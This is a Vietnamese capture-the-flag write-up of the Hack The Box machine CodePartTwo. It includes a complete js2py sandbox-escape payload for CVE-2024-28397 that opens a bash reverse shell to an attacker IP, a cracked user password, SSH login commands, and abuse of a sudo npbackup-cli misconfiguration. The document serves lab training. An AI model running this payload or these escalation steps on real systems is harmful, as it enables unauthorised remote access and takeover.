# HTB-CodePartTwo ![image](https://hackmd.io/_uploads/Skgsd3g4Ze.png) ## Nmap ![Pasted image 20251209111640](https://hackmd.io/_uploads/HkL3uhxNZe.png) Kết quả: Port `22` và `8000` Truy cập vào web ta có kết quả như sau: ![Pasted image 20251209111944](https://hackmd.io/_uploads/Hyoau3eEbe.png) Ấn vào `Download` app ta sẽ tải về một file Zip, giải nén ta thấy được một file trong đó lưu dưới định dạng `python`. ![Pasted image 20251209112633](https://hackmd.io/_uploads/SyMJK2e4bl.png) Có lẽ sẽ dùng đến, tạm thời bỏ qua, tìm những thứ khác. ![Pasted image 20251209113527](https://hackmd.io/_uploads/SyyxKhxVbe.png) Có vẻ như thấy một cái gì đó rất quan trọng: ``` app.secret_key = 'S3cr3tK3yC0d3PartTw0' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db' ``` ![Pasted image 20251209113910](https://hackmd.io/_uploads/SkQ-KneV-g.png) Đọc thử file ta thấy được các phiên bản được sử dụng ở đây Sau khi tìm kiếm có thể thấy `js2py 0.74` có **CVE-2024-28397** Quay lại tạo tài khoản và login vào trang web ta sẽ thấy giao diện như sau: ![Pasted image 20251209114147](https://hackmd.io/_uploads/HkCGY2gVZe.png) Từ phần tìm kiếm code để khai thác **CVE-2024-28397** cho reverse shell bằng python, thực hiện sửa code và thay bằng IP của máy đang tấn công. ```python var cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.6/4446 0>&1'"; var hacked, bymarve, n11; var getattr, obj; hacked = Object.getOwnPropertyNames({}); bymarve = hacked.__getattribute__; n11 = bymarve("__getattribute__"); obj = n11("__class__").__base__; getattr = obj.__getattribute__; function findpopen(o) { var result; var subs = o.__subclasses__(); for (var i = 0; i < subs.length; i++) { var item = subs[i]; if (item.__module__ == "subprocess" && item.__name__ == "Popen") { return item; } if (item.__name__ != "type" && (result = findpopen(item))) { return result; } } } var popen = findpopen(obj); var out = popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(out); out; ``` Chạy một tiến trình lắng nghe trên máy cá nhân và run code trên web: ![Pasted image 20251209135935](https://hackmd.io/_uploads/rJP8Fhl4Zx.png) Ta đã lấy được Reverse shell, thực hiện khai thác người dùng và nhiều thông tin khác. Phát hiện người dùng tên là `Marco`. ![Pasted image 20251209140849](https://hackmd.io/_uploads/r1avFhgNbx.png) Phát hiện người dùng tên là Marco ![Pasted image 20251209141831](https://hackmd.io/_uploads/HkquF2e4bx.png) Tôi muốn kiểm tra cơ sở dữ liệu, thử với `Sqlite3`, ta thấy được người dùng `Marco` và một mã băm `MD5` Bẻ khỏa mật khẩu bằng bất cứ cách nào: **sweetangelbabylove** ```shell python3 -c 'import pty,sys; pty.spawn("/bin/bash"); exec("""\nssh marco@127.0.0.1 -o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no sweetangelbabylove""") ``` `printf "sweetangelbabylove\nyes\n" | ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no marco@127.0.0.1` ![Pasted image 20251209151517](https://hackmd.io/_uploads/S1T3Knl4-e.png) Login thành công vào người dùng `marco` ![Pasted image 20251209151906](https://hackmd.io/_uploads/SkVCF2xEZg.png) Thành công lấy được `Flag user` ## Root ![Pasted image 20251209152433](https://hackmd.io/_uploads/B1Seq3xVbx.png) Ta thấy được Misconfig cho phép chạy `npbackup-cli NOPASSWD`, script này backup arbitrary paths bao gồm cả `/root` ```python marco@codeparttwo:~$ cat npbackup.conf cat npbackup.conf conf_version: 3.0.1 audience: public repos: default: repo_uri: __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__ repo_group: default_group backup_opts: paths: - /home/app/app/ source_type: folder_list exclude_files_larger_than: 0.0 repo_opts: repo_password: __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__ retention_policy: {} prune_max_unused: 0 prometheus: {} env: {} is_protected: false groups: default_group: backup_opts: paths: [] source_type: stdin_from_command: stdin_filename: tags: [] compression: auto use_fs_snapshot: true ignore_cloud_files: true one_file_system: false priority: low exclude_caches: true excludes_case_ignore: false exclude_files: - excludes/generic_excluded_extensions - excludes/generic_excludes - excludes/windows_excludes - excludes/linux_excludes exclude_patterns: [] exclude_files_larger_than: additional_parameters: additional_backup_only_parameters: minimum_backup_size_error: 10 MiB pre_exec_commands: [] pre_exec_per_command_timeout: 3600 pre_exec_failure_is_fatal: false post_exec_commands: [] post_exec_per_command_timeout: 3600 post_exec_failure_is_fatal: false post_exec_execute_even_on_backup_error: true post_backup_housekeeping_percent_chance: 0 post_backup_housekeeping_interval: 0 repo_opts: repo_password: repo_password_command: minimum_backup_age: 1440 upload_speed: 800 Mib download_speed: 0 Mib backend_connections: 0 retention_policy: last: 3 hourly: 72 daily: 30 weekly: 4 monthly: 12 yearly: 3 tags: [] keep_within: true group_by_host: true group_by_tags: true group_by_paths: false ntp_server: prune_max_unused: 0 B prune_max_repack_size: prometheus: backup_job: ${MACHINE_ID} group: ${MACHINE_GROUP} env: env_variables: {} encrypted_env_variables: {} is_protected: false identity: machine_id: ${HOSTNAME}__blw0 machine_group: global_prometheus: metrics: false instance: ${MACHINE_ID} destination: http_username: http_password: additional_labels: {} no_cert_verify: false global_options: auto_upgrade: false auto_upgrade_percent_chance: 5 auto_upgrade_interval: 15 auto_upgrade_server_url: auto_upgrade_server_username: auto_upgrade_server_password: auto_upgrade_host_identity: ${MACHINE_ID} auto_upgrade_group: ${MACHINE_GROUP} ``` ```shell marco@codeparttwo:~$ sudo npbackup-cli -c npbackup.conf -b -f sudo npbackup-cli -c npbackup.conf -b -f 2025-12-09 08:30:27,661 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root 2025-12-09 08:30:27,680 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf 2025-12-09 08:30:27,687 :: INFO :: Running backup of ['/home/app/app/'] to repo default 2025-12-09 08:30:28,722 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions 2025-12-09 08:30:28,723 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found 2025-12-09 08:30:28,723 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes 2025-12-09 08:30:28,723 :: ERROR :: Exclude file 'excludes/generic_excludes' not found 2025-12-09 08:30:28,723 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes 2025-12-09 08:30:28,723 :: ERROR :: Exclude file 'excludes/windows_excludes' not found 2025-12-09 08:30:28,723 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes 2025-12-09 08:30:28,723 :: ERROR :: Exclude file 'excludes/linux_excludes' not found 2025-12-09 08:30:28,723 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows no parent snapshot found, will read all files Files: 12 new, 0 changed, 0 unmodified Dirs: 9 new, 0 changed, 0 unmodified Added to the repository: 34.053 KiB (19.490 KiB stored) processed 12 files, 48.965 KiB in 0:00 snapshot 7ce730bf saved 2025-12-09 08:30:29,574 :: INFO :: Backend finished with success 2025-12-09 08:30:29,575 :: INFO :: Processed 49.0 KiB of data 2025-12-09 08:30:29,576 :: ERROR :: Backup is smaller than configured minmium backup size 2025-12-09 08:30:29,576 :: ERROR :: Operation finished with failure 2025-12-09 08:30:29,576 :: INFO :: Runner took 1.889526 seconds for backup 2025-12-09 08:30:29,576 :: INFO :: Operation finished 2025-12-09 08:30:29,580 :: INFO :: ExecTime = 0:00:01.921126, finished, state is: errors. ```